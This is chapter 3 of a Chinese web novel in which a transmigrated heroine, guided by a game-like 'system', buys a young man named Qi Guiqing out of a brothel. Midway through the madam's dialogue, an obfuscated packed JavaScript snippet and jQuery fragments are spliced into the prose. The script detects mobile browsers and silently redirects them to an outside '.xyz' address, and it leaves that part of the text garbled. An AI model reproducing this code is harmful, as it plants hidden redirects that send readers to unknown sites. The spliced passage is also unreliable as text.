3. 第 3 章
作品:《反派他要攻略我?》 今天依旧在没人的破庙中歇息,斑驳的墙壁一模全是灰,乔瑢随地捡起一根稻草把玩,看上去悠然自得。
系统:【今天晚上不去寻香楼了?】
乔瑢:【去了也是白去,而且会让他们觉得咱们非要那晓莺不可。事儿我已经让小虎子去办了,先晾一晾,事半功倍。】
系统:【你就不怕今天晚上椿娘把他推了出去。】
乔瑢:【祁归青的性子我清楚,他只要不愿意,总会有办法的,他有脑子。】
过了一会儿,系统那边才传来电子音:【你是我见过的最好服务的玩家,】
乔瑢心想,这才刚开始,下定论有点早,但她还是回道:【恐怕以后我也是你遇到的最好的玩家。】
乔瑢累了就躺在稻草上,双手放在饥肠辘辘的胃上。
系统;【你的身体是我们总系统根据你现实世界的模样所创造的非真人模型,虽然不会死亡,但五感相通,玩家需注意。】
乔瑢勾起嘴角:【小感,谢谢你。】
她本是胃癌晚期,生活不能自理,长期卧床。在此之前,她二十岁就是巨人影视公司创始人,总制片人,随后出品电视剧,不断担任多部电视剧制片人。乔瑢赚了很多钱,但她不止想赚钱,还要成为顶级制片人。可是一切随着确诊胃癌戛然而止,陷入绝望。但又天无绝人之路,重生系统给了她唯一的希望。
系统那边再无回音,又过了很久,乔瑢伴着蝉鸣渐渐睡着。
……
“真是煞星、煞星!”椿娘嘴唇发白,看上有些病了。楼里请了大夫过来,她也不看,就这么强撑着。椿娘着实想不通,当年怎么就买下这个祸害的。
一个十岁的男娃儿,长得白白净净,五官俊秀,却紧闭双眼伏在一个老妇人背上。那老妇人哭诉家中困难,卖掉此子求生。椿娘大喜,她被这俊俏模样迷了去,想的是日后如何如何为她赚钱。老妇人竟然就以十两银子卖她,简直捡了个大便宜。那老妇人收了钱,没等男娃醒来便匆匆离去。
椿娘想着八年前的种种,愈发觉得传言可信,晓莺莫不是被那老妇人偷拐的。
昨晚本想将换好女装的晓莺带出去接客,女客虽出手大方,但也不是什么人都吃得下。男客就不一样了,为了寻欢,什么样猎奇的人物都要尝一尝。不管如何,晓莺不能就此砸手里。
万万没想到,酉时椿娘让人去带晓莺出房,却带回一个晴天霹雳的消息。
原来晚饭时晓莺摔碎了饭碗,用碎片划伤了脸。
椿娘一听当即就晕了一次,脸对他们来说便是第一重要。她刚请大夫给晓莺接了手,早知道就让他那双手废着。
客是接不了,椿娘倒是想直接把他扔出寻香楼去,可是她八年心血打水漂实在是不甘心,便又想起乔瑢来。“来人,你去打听打听那位乔姑娘。”
必然是查不到乔瑢什么,倒是楼里有人病了。椿娘一得知便如惊弓之鸟,忙不迭问起病因,那边说是小风寒,可椿娘还是心慌。后又听说有几个拍卖那日来过客人回去就病了,更加觉得晓莺不能留了。
华灯初照,一条波光粼粼的长河串起东街一列商铺,名贵车马往来不绝,喧嚣热闹。
乔瑢不紧不慢地逛着街,吹着初夏的微风,完全像个当地人一般,看着琳琅满目的商品,只可惜一分也不能花。
等她慢悠悠逛到寻香楼时已快戌时,她像个寻常客人一样走进象姑馆,在一楼找了位置坐下,喝茶看舞姬跳舞。
一盏茶的功夫乔瑢就被小厮请上了三楼包厢,毫不意外地再次见到了椿娘。与第一次见相比,椿娘沧桑了许多。
罪魁祸首乔瑢一脸天真,明知椿娘为何找过来,却还是自顾自说起其他的,“老板找我有事吗?我今日是来消遣的,我喜欢听曲,您给我安排一个会弹琴的。”
椿娘端起茶杯准备说辞,茶水入口无味又放下茶杯,试探地问道:“你不是看上晓莺了吗?”
“那我也不是非他不可呀,昨日回去后突然觉得他也没什么特别的,而且我还听到了一些关于他的传言,不知道真假。”乔瑢抿了口茶,包厢的茶水顺滑如绸,比一楼的好喝许多。
椿娘顿时心凉了半截,越拖就越出不了手,乔瑢是她现在唯一的人选,她不能就此放弃,继续劝着:“既是传言那必然做不得真,昨日你走后我也想了想,晓莺不愿接客我头疼得很,若是被人赎回去,我也省事,两全其美。”
乔瑢不打算拆穿她,问道:“所以您是同意五百两赎身钱了?”
椿娘眉头一皱,还在做最后的挣扎,试图与乔瑢商量,“你看一千两可行,身契和人我随时可交,只要你点头。”椿娘期待地看着乔瑢。
“可是我只有五百两,您还是给我找一个会弹琴的吧。”乔瑢一步不让,若是她有足够的银钱,何必弯弯绕绕做这么多。
“晓莺也会弹琴,琴棋书画样样精通,你将他赎回家,让他专为你一人弹琴岂不妙哉。”椿娘的嘴唇愈发苍白,像随时都可能晕过去。乔瑢心软了,椿娘一个女子在外做生意劳心劳力不容易,便临时决定不逼她这么紧。
“您说得有道理,可是一千两我实在拿不出。不过买卖不成仁义在,您先坐下喝点茶,我看你脸色有些茶。”
椿娘的确脑袋发晕,入口的茶是何滋味不知道,但听乔瑢这么一说,渐渐放松下来。想起自己让人去打听却什么也没打听到,于是便问道:“乔姑娘从哪儿来,如今住在何处,可还习惯?”
乔瑢从容回道:“北京人士,现住在镇外乡下,的确有些不习惯。”
“北京是何处,怎么从未听过?”椿娘问。
“在遥远的东方,因一些事情不得不搬离。”
椿娘了然,目光落在乔瑢的衣着上,“难怪看乔姑娘穿着打扮与我们不同,”
乔瑢趁机转移注意,再问下去,她可不会解释遥远的东方是如何到这来的。“对啊,你看我这衣裳料子。”她抬起胳膊,示意椿娘摸一摸,“我敢说整个阳城都找不到一模一样的。”
当然找不到,系统出品,古代的款式现代的布料。
椿娘竟然真的上手摸了摸,不过没再多说什么,看上去似乎缓过来一些。乔瑢也准备告辞,虽然计划延迟,但最终结果她势在必得。
“等一下。”椿娘原本紧抿着唇,终于是松了口,“五百两,晓莺你赎走吧。”
这个价钱椿娘不满意,但她还是主动提出验货后交易。
乔瑢开始不明白椿娘用意,见到晓莺后,才知道他将自己的脸划伤了,他的确聪明,这也是个好办法,阴差阳错帮了她一把,不然椿娘不可能松口。
“已经上过药,至于后面会不会留疤……”椿娘只知道,她是生意人,脸上的疤再淡,在这寻香楼也失去了价值。
男配脸上会不会留疤,乔瑢根本不在意,但装还是要装的,她皱着眉说道:“是有碍观瞻,不过我看伤口不深那就不打紧。”
听她这么说,椿娘一颗心终于归位,怕她反悔似的立马命人取来身契交到乔瑢手中,她拿了五百两银票,不愿再看晓莺一眼,只侧着身子对他道:“从今以后你就是乔姑娘的人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156621|180586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“跟我走吧。”
寻香楼最热闹的时候,灯火通明,歌舞不绝。在象姑馆一个女子领着一个小官并不稀奇,可当中却有人认出晓莺,不仅敢跳楼还与近日的传言有关,那就要多看上几眼议论上几句。
“他脸上怎么有个伤疤?”
“这是那位姑娘给他赎身了?老鸨怎么舍得……”
“怎么有人赎他?这几日他的传言你们听了吗?”
“什么传言,我怎么不知,说来听听……”
乔瑢走出寻香楼停在门口,身侧的祁归青安静地立着,他个子很高,身形消瘦。女装穿在他身上略显僵硬,不过远看之下,的确有点雌雄难辨。夜色下,他雪白的脸颊上一道凝固的血线分外清晰。他此刻像个无知无觉的行尸走肉,尤其那双空洞的眼睛,充满了死气。
乔瑢冷哼一声,不再看他,走入人群,继续沿着街道往东走。
祁归青却因此抬眼看向她,要不是这个女子突然出现,那日他摔下去死了也好,不死也残,寻香楼必会舍弃了他,那也好过这地狱里受辱。
可惜他没死也没残,醒来后她又要赎他,他双手刚被折断,疼得晕晕沉沉,竟然真的产生了希望,没想到她听到两千两转身就走。后来又当着他的面与老鸨砍价,一个“残次品”到底有什么值得这个女子几次都要赎他。
一路的陌生目光让祁归青难以适应,他甚至能听到他们对自己的议论。他过了八年暗无天日的生活,见过的人屈指可数。以这样狼狈的模样重见天日,究竟是好还是惩罚,若是惩罚,他做错了什么呢。
他不知道眼前的女子要去往何处,只知道椿娘唤她乔姑娘,或许跟她回家,又或者将自己带到别处再卖掉。不可以,他现在已经离开了象姑馆,没有那些强壮的小厮下人,他还有什么怕的。
祁归青的目光落在面前清瘦的背影上,他差点忘了,他是男子。趁她毫无防备,从背后掐住脖子杀了她,再拿走身契,从此他便是自由的。
这个念头一旦产生便在心中疯狂肆虐,他垂着头双手握紧,问自己还在等什么,此时正走到偏僻处,再不动手就错失良机了。
【滴……任务完成!奖励无,积分+10,请玩家等待下次任务发布。】
祁归青猛地抬头,什么声音,谁在说话。他四处张望,确定此处只有他们二人。走在前面的女子也突然停下脚步转身望着他,一阵微风吹过,她开口说了他们二人之间的第一句话:“我叫乔瑢,你呢?”
祁归青不知道自己站了多久,等回过神,像是见鬼般背后全是冷汗,不知她为何明知故问,只能强撑着回答:“晓莺。”
乔瑢却是勾起嘴角,不咸不淡道:“晓莺是正经名字吗。”
祁归青脸上的表情凝住,遥远的记忆突然涌上心头,她说得对,他原本有名有姓,是他自己忘了。
乔瑢等了好一会儿,才从他口中等来三个字:“祁归青。”陌生、遥远又苦涩,他没想到还有机会说出这个名字。
夜色越来越浓,两人之间安静地连对方呼吸都听不见,只有木轴发出的吱呀呻.吟由远及近越发清晰。过了一会儿,一辆牛车自暗处驶来,小虎子牵着牛满头大汗,朝乔瑢挥了挥手。
乔瑢打量着牛车,小虎子误以为她是不满意,擦了把脸道:“我废了好大功夫才借到的,天亮就得还回去。”
乔瑢看了小虎子一眼,二话没说直接坐在木板上。
“姑娘也上车吧。”小虎子直愣愣地看着这个高大的女子,一点也没察觉出他的话有什么不对劲。

